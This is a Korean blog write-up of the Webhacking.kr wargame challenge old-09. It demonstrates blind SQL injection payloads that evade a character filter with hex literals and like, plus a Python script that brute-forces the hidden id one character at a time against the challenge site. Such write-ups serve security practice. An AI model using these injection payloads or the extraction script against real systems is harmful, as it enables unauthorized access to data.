ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Webhacking.kr> old-09
    Wargame/Webhacking.kr 2021. 11. 18. 15:08

    old-09

    3개의 링크와 패스워드를 입력할 수 있다.

    각 링크를 살펴보면

    no=1 이면 Apple을, no=2 이면 Banana를, no=3이면 'Secret'이라는 메시지와 컬럼은 id와 no 그리고

    no=3의 아이디가 패스워드라 한다.

    id no
    Apple 1
    Banana 2
    {Secret} 3

     대략 이런 형태를 띄는 것 같다.

     

    일반적인 SQL Injection 문제라 생각하고 어떤 문자를 필터링하는 지 확인해본다.

    ?no=' 를 입력하면

    'Access Denied' 메시지를 출력한다.

    이외에도 더블 쿼터("), =, 공백, <, >, ||, or, and, ascii, ord, left 등을 필터링한다.

     

    if 문을 사용하여 길이를 확인할 수 있다.

    Apple의 길이는 5이므로

    ?no=if(length(id)like(5),1,0)을 입력하면

     

    Apple을 출력한다.

     

    Banana도 똑같이

    ?no=if(length(id)like(6),2,0)을 입력하면

    Banana를 출력한다.

    ?no=if(length(id)like(6),1,0)을 입력하면

    패스워드를 입력 폼만 출력된다.

     

    즉, ?no=if(length(id)like({id의 길이}),{id의 no},0)을 통해 no=3의 id 길이를 찾을 수 있다.

    또한, 참일때는 no에 맞는 id를 출력하고, 거짓일땐 패스워드 창만 출력하기에 

    Blind SQL Injection을 수행할 수 있다.

     

    ?no=if(length(id)like(11),3,0)을 입력하면

    'Secret'을 출력하는 것으로 보아 no=3의 id 길이는 11인 것을 확인할 수 있다.

     

    이제 id를 찾아야 하는데,

    substr을 필터링하지 않아 이를 통해 id를 하나하나 찾을 수 있다.

    ord와 ascii와 싱글 쿼터를 필터링하기 때문에

    ?no=if(ord(substr(id,1,1))like(48),3,0)

    ?no=if(ascii(substr(id,1,1))like(48),3,0)

    ?no=if(substr(id,1,1)like('A'),3,0)

    위와 같은 쿼리 문은 사용할 수 없다.

     

    따라서, 싱글 쿼터를 사용하지 않는 16진수로 나타내어

    ?no=if(substr(id,1,1)like(0x30),3,0) 와 같은 형태를 사용할 수 있다.

    첫 번째 글자를 찾아보면

    0x61은 'a'로 첫 글자가 'a'인 것을 확인할 수 있다.

     

    나머지 글자들도 파이썬 코드를 통해 찾을 수 있다.

    import requests
    
    baseurl = "https://webhacking.kr/challenge/web-09/"
    cookies = {"PHPSESSID" : "oa14rr0ugiql1oi6or3ndjuucg"}
    want_str = "Secret"
    pw = ""
    
    # Access Denied 메시지를 출력하는 문자 필터
    char_filter = [34, 37, 39, 43, 45, 47, 60, 61, 62, 124]
    
    for i in range(1, 12):
        for j in range(33, 127):
            if j in char_filter:
                continue
            url = baseurl + "?no=if(substr(id,{},1)like(0x{}),3,0)".format(i,chr(j).encode('utf-8').hex())
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                pw += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    print("pw : {} or {}".format(pw, pw.lower()))

    이렇게 구한 pw를 패스워드 입력 폼에 입력하면

    문제를 해결할 수 있다.

    'Wargame > Webhacking.kr' 카테고리의 다른 글

    <Webhacking.kr> old-11  (0) 2021.11.25
    <Webhacking.kr> old-10  (0) 2021.11.23
    <Webhacking.kr> old-08  (0) 2021.11.16
    <Webhacking.kr> old-07  (0) 2021.11.15
    <Webhacking.kr> old-05  (0) 2021.11.14
Designed by Tistory.